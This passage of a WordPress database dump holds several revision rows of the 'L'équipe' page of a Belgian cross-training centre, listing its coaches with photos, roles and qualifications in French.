VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-23', '', '', '2013-07-03 19:41:42', '2013-07-03 19:41:42', '', 20, 'http://www.crosstrainingcenter.be/?p=245', 0, 'revision', '', 0),
(246, 1, '2013-07-03 19:42:52', '2013-07-03 19:42:52', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-24', '', '', '2013-07-03 19:42:52', '2013-07-03 19:42:52', '', 20, 'http://www.crosstrainingcenter.be/?p=246', 0, 'revision', '', 0),
(247, 1, '2013-07-03 19:44:26', '2013-07-03 19:44:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-25', '', '', '2013-07-03 19:44:26', '2013-07-03 19:44:26', '', 20, 'http://www.crosstrainingcenter.be/?p=247', 0, 'revision', '', 0),
(248, 1, '2013-07-03 19:47:43', '2013-07-03 19:47:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting Formateur coach&lt;/h5&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-26', '', '', '2013-07-03 19:47:43', '2013-07-03 19:47:43', '', 20, 'http://www.crosstrainingcenter.be/?p=248', 0, 'revision', '', 0),
